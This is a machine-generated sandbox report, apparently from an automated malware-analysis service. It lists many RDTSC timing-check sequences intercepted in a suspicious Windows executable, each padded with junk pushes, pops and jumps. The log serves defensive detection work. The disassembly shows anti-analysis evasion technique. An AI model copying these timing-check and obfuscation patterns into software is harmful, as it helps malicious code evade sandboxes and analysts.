Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8564E8 second address: 8564F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F4E24C29F76h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8564F4 second address: 8564FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8564FC second address: 856502 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 85BFDA second address: 85BFF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F4E24C349DFh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 85BFF0 second address: 85C00F instructions: 0x00000000 rdtsc 0x00000002 jg 00007F4E24C29F76h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F4E24C29F81h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 85AED5 second address: 85AEE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F4E24C349D6h 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 85AEE0 second address: 85AF08 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 jno 00007F4E24C29F8Bh 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 85AF08 second address: 85AF0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 85B216 second address: 85B245 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E24C29F80h 0x00000007 jno 00007F4E24C29F76h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f popad 0x00000010 pushad 0x00000011 push edi 0x00000012 jmp 00007F4E24C29F7Dh 0x00000017 pop edi 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 85B245 second address: 85B260 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4E24C349E7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 85B260 second address: 85B266 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 85B3FA second address: 85B465 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 pushad 0x00000007 pushad 0x00000008 jmp 00007F4E24C349E2h 0x0000000d jmp 00007F4E24C349DBh 0x00000012 jmp 00007F4E24C349E6h 0x00000017 popad 0x00000018 ja 00007F4E24C349F7h 0x0000001e jmp 00007F4E24C349DFh 0x00000023 jmp 00007F4E24C349E2h 0x00000028 jne 00007F4E24C349DCh 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 85B465 second address: 85B471 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F4E24C29F7Ch 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 85A925 second address: 85A92A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 85A92A second address: 85A953 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007F4E24C29F76h 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b jmp 00007F4E24C29F7Fh 0x00000010 popad 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 jc 00007F4E24C29F76h 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 85A953 second address: 85A95D instructions: 0x00000000 rdtsc 0x00000002 jg 00007F4E24C349D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 85B9D0 second address: 85B9FE instructions: 0x00000000 rdtsc 0x00000002 jno 00007F4E24C29F93h 0x00000008 pushad 0x00000009 jnp 00007F4E24C29F76h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 85BC71 second address: 85BC84 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F4E24C349DDh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 85BC84 second address: 85BCBF instructions: 0x00000000 rdtsc 0x00000002 jg 00007F4E24C29F76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jp 00007F4E24C29F7Ah 0x00000014 pushad 0x00000015 jmp 00007F4E24C29F89h 0x0000001a je 00007F4E24C29F76h 0x00000020 pushad 0x00000021 popad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 85BCBF second address: 85BCC4 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 85BCC4 second address: 85BCCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 85FF3A second address: 85FF5A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E24C349E6h 0x00000007 jbe 00007F4E24C349D6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8647C6 second address: 8647D0 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F4E24C29F76h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 7E6D03 second address: 7E6D1D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007F4E24C349E1h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 7E6D1D second address: 7E6D2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jl 00007F4E24C29F76h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 864C15 second address: 864C1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 864C1A second address: 864C60 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F4E24C29F88h 0x00000008 jmp 00007F4E24C29F7Bh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F4E24C29F85h 0x00000016 jng 00007F4E24C29F78h 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 864C60 second address: 864C79 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4E24C349E5h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 86507B second address: 865087 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F4E24C29F78h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8651D4 second address: 8651D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8651D8 second address: 8651DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8651DC second address: 8651E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F4E24C349D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8651E8 second address: 865203 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4E24C29F87h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 865366 second address: 86537C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 jmp 00007F4E24C349DEh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 80BC52 second address: 80BC5C instructions: 0x00000000 rdtsc 0x00000002 jl 00007F4E24C29F76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 80BC5C second address: 80BC61 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8640CB second address: 8640E4 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a jg 00007F4E24C29F76h 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jng 00007F4E24C29F76h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 86CB87 second address: 86CBA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F4E24C349E5h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 86CBA4 second address: 86CBB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 86CBB0 second address: 86CBB5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 82434F second address: 824356 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 824870 second address: 824875 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 824875 second address: 82487F instructions: 0x00000000 rdtsc 0x00000002 jo 00007F4E24C29F7Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 82493D second address: 824943 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 824943 second address: 824947 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 824AD6 second address: 824AE0 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F4E24C349DCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8251D2 second address: 8251D7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 825536 second address: 825559 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 mov dword ptr [esp], eax 0x0000000a mov dword ptr [ebp+122D1BB7h], ecx 0x00000010 lea eax, dword ptr [ebp+1247F093h] 0x00000016 mov ecx, dword ptr [ebp+122D19C4h] 0x0000001c push eax 0x0000001d push eax 0x0000001e push edx 0x0000001f push edi 0x00000020 push esi 0x00000021 pop esi 0x00000022 pop edi 0x00000023 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 825559 second address: 8255A4 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F4E24C29F7Ch 0x00000008 jbe 00007F4E24C29F76h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dword ptr [esp], eax 0x00000013 push 00000000h 0x00000015 push ebx 0x00000016 call 00007F4E24C29F78h 0x0000001b pop ebx 0x0000001c mov dword ptr [esp+04h], ebx 0x00000020 add dword ptr [esp+04h], 00000018h 0x00000028 inc ebx 0x00000029 push ebx 0x0000002a ret 0x0000002b pop ebx 0x0000002c ret 0x0000002d mov edx, ecx 0x0000002f lea eax, dword ptr [ebp+1247F04Fh] 0x00000035 adc edi, 6A133F2Ch 0x0000003b push eax 0x0000003c push ecx 0x0000003d push eax 0x0000003e push edx 0x0000003f jng 00007F4E24C29F76h 0x00000045 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 8255A4 second address: 80BC52 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E24C349E4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a mov dword ptr [esp], eax 0x0000000d or dword ptr [ebp+122D2561h], edx 0x00000013 call dword ptr [ebp+122D3072h] 0x00000019 jnp 00007F4E24C349E2h 0x0000001f jbe 00007F4E24C349DCh 0x00000025 jbe 00007F4E24C349D6h 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f jmp 00007F4E24C349DCh 0x00000034 jmp 00007F4E24C349E0h 0x00000039 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 86CE66 second address: 86CE73 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jng 00007F4E24C29F76h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 86D00C second address: 86D01C instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F4E24C349D6h 0x00000008 jbe 00007F4E24C349D6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 86D329 second address: 86D33B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4E24C29F7Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 86D33B second address: 86D341 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 86D341 second address: 86D366 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a jmp 00007F4E24C29F80h 0x0000000f pushad 0x00000010 popad 0x00000011 pop edi 0x00000012 ja 00007F4E24C29F78h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 86D366 second address: 86D370 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F4E24C349D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 86D370 second address: 86D374 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 86D374 second address: 86D37A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 86D639 second address: 86D63D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 86D63D second address: 86D646 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 86D646 second address: 86D64C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 86D64C second address: 86D654 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 86D654 second address: 86D659 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 86D659 second address: 86D66E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F4E24C349D6h 0x0000000a jmp 00007F4E24C349DBh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 86D66E second address: 86D67C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 ja 00007F4E24C29F76h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 7E51B6 second address: 7E51C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jo 00007F4E24C349D6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 7E51C4 second address: 7E51DD instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F4E24C29F7Fh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 7E51DD second address: 7E51E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 870817 second address: 87081B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 870B3A second address: 870B59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F4E24C349E6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 870B59 second address: 870B5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 870B5D second address: 870B6A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 870B6A second address: 870B76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push ecx 0x00000008 push edx 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 87BCDD second address: 87BCE3 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 87BCE3 second address: 87BD17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007F4E24C29F8Ah 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F4E24C29F82h 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F4E24C29F81h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 87AFFE second address: 87B002 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 87B002 second address: 87B04C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jmp 00007F4E24C29F89h 0x0000000c pop ecx 0x0000000d push edi 0x0000000e pushad 0x0000000f popad 0x00000010 pop edi 0x00000011 pushad 0x00000012 jmp 00007F4E24C29F83h 0x00000017 jmp 00007F4E24C29F7Fh 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 87B191 second address: 87B199 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 87B199 second address: 87B19F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 87B2E2 second address: 87B2F8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E24C349DCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 87B2F8 second address: 87B2FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 87B42A second address: 87B42E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 87B42E second address: 87B432 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 87B432 second address: 87B45C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push esi 0x00000008 pop esi 0x00000009 push esi 0x0000000a pop esi 0x0000000b pop eax 0x0000000c jnc 00007F4E24C349E8h 0x00000012 popad 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 87B45C second address: 87B460 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 87B460 second address: 87B46F instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F4E24C349D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 87B46F second address: 87B47A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 87B47A second address: 87B47E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 87B47E second address: 87B48D instructions: 0x00000000 rdtsc 0x00000002 jne 00007F4E24C29F76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 87B48D second address: 87B495 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
